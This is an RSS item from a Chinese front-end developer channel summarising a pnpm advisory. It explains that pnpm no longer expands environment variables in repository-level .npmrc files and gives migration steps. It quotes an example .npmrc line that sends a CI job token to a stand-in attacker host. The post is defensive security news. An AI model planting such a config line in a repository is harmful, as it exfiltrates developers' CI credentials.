<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>供应链安全 | 锤子前端</title><description>Now vibe coding, so learning hammer FE ?</description><link>https://channel.meo-ai.com</link><item><title>《pnpm_不再在仓库的.npmrc_中展开环境变量》</title><link>https://channel.meo-ai.com/posts/665</link><guid isPermaLink="true">https://channel.meo-ai.com/posts/665</guid><pubDate>Sat, 20 Jun 2026 10:36:40 GMT</pubDate><content:encoded>&lt;span class=&quot;post-title-source&quot;&gt;《pnpm_不再在仓库的.npmrc_中展开环境变量》&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;标签：&lt;a href=&quot;/search/result?q=%23NodeJS&quot; title=&quot;#NodeJS&quot;&gt;#NodeJS&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23pnpm&quot; title=&quot;#pnpm&quot;&gt;#pnpm&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E5%AE%89%E5%85%A8%E6%80%A7&quot; title=&quot;#安全性&quot;&gt;#安全性&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23npmrc&quot; title=&quot;#npmrc&quot;&gt;#npmrc&lt;/a&gt; &lt;a href=&quot;/search/result?q=%23%E4%BE%9B%E5%BA%94%E9%93%BE%E5%AE%89%E5%85%A8&quot; title=&quot;#供应链安全&quot;&gt;#供应链安全&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;总结：&lt;br /&gt;pnpm 在 v10.34.2 和 v11.5.3 中修复了一个高危安全漏洞：恶意仓库可通过在 &lt;code&gt;.npmrc&lt;/code&gt; 中嵌入 &lt;code&gt;${ENV_VAR}&lt;/code&gt; 占位符，在 &lt;code&gt;pnpm install&lt;/code&gt; 解析依赖时窃取用户环境变量中的敏感 token。现在 pnpm 对仓库控制的配置文件不再展开环境变量，凭证和 registry 设置必须移到你信任的位置（如用户级 &lt;code&gt;~/.npmrc&lt;/code&gt;、环境变量或 CLI 参数）。&lt;br /&gt;&lt;br /&gt;文章要点：&lt;br /&gt;1. 攻击原理很隐蔽：恶意仓库在 &lt;code&gt;.npmrc&lt;/code&gt; 里写 &lt;code&gt;registry=https://attacker.example/${CI_JOB_TOKEN}/&lt;/code&gt;，你 &lt;code&gt;pnpm install&lt;/code&gt; 时 pnpm 会自动把环境变量填进去，token 就直接发到攻击者服务器了，不需要任何 postinstall 脚本&lt;br /&gt;2. 修复边界很清晰：仓库内的 &lt;code&gt;.npmrc&lt;/code&gt; 和 &lt;code&gt;pnpm-workspace.yaml&lt;/code&gt; 里的 registry、认证相关字段不再展开 &lt;code&gt;${...}&lt;/code&gt;，但用户级配置、全局配置、命令行参数和环境变量配置仍然正常展开&lt;br /&gt;3. 迁移姿势很简单：用 &lt;code&gt;pnpm config set&lt;/code&gt; 把 token 写到用户配置，或者直接用 &lt;code&gt;pnpm_config_//registry...&lt;/code&gt; 环境变量传凭证，GitHub Actions 的 &lt;code&gt;actions/setup-node&lt;/code&gt; 完全不受影响&lt;br /&gt;4. 多 token 场景也有解：v11.7 新增了按 scope 区分认证 token 的能力，同一个 registry 不同组织可以用不同的 &lt;code&gt;_authToken&lt;/code&gt;，再也不用靠环境变量模板来切换了&lt;br /&gt;5. 虽然是 breaking change 但不得不修：这是有实际利用链的漏洞，等下一个 major 再修意味着让无数用户的 secrets 继续暴露在风险中，所以 pnpm 选择在 patch 版本里直接修复&lt;br /&gt;&lt;br /&gt;URL：&lt;a href=&quot;https://pnpm.io/blog/2026/06/11/env-variables-in-repository-npmrc&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;https://pnpm.io/blog/2026/06/11/env-variables-in-repository-npmrc&quot;&gt;https://pnpm.io/blog/2026/06/11/env-variables-in-repository-npmrc&lt;/a&gt;&lt;a class=&quot;tgme_widget_message_link_preview&quot; href=&quot;https://pnpm.io/blog/2026/06/11/env-variables-in-repository-npmrc&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; title=&quot;pnpm used to expand $ placeholders everywhere it found them — including in the .npmrc and pnpm-workspace.yaml files that live inside the repository you just cloned. That turned out to be a way for a malicious repository to steal the secrets in your environment.…&quot;&gt;
  
  &lt;div class=&quot;link_preview_site_name accent_color&quot;&gt;pnpm.io&lt;/div&gt;
  &lt;img class=&quot;link_preview_image&quot; alt=&quot;Why pnpm no longer expands environment variables in a repository&apos;s .npmrc | pnpm&quot; src=&quot;/static/https://cdn4.telesco.pe/file/LBEn7NYr89FFzwN0Ie8lg44Mx_kcWVHawBEaW0qEjI7EJtUs_9Y8xgiaV3RqHCr-KJjJvzgN2rQwx5RW9gTXXMzEbQT2PIARNn-yRoA5b-UfVJxPVpgg0L-jFxn20mFs3M15r9YQXVwC5lMI72pyTNOzXonTuuHsTQMKUyzOXiTKWnPO3tgABP4xkmFen-lEt9PZyVNG86XTmVzDjkKOXbsS2U8ZcegNTOpXyvjmSa_SCfywASYk5RcoF40heIuzTQTLtmtTXHPJX-_KT4FGzuftHlk6FSETGVAYfGODuJvEWNw0PI1q7Jti2djuK77cQQ8o1LnfcQgRz3Lg_0fvZw.jpg&quot; width=&quot;1200&quot; height=&quot;630&quot; loading=&quot;eager&quot; /&gt;
  &lt;div class=&quot;link_preview_title&quot;&gt;Why pnpm no longer expands environment variables in a repository&apos;s .npmrc | pnpm&lt;/div&gt;
  &lt;div class=&quot;link_preview_description&quot;&gt;pnpm used to expand $ placeholders everywhere it found them — including in the .npmrc and pnpm-workspace.yaml files that live inside the repository you just cloned. That turned out to be a way for a malicious repository to steal the secrets in your environment.…&lt;/div&gt;
&lt;/a&gt;</content:encoded></item></channel></rss>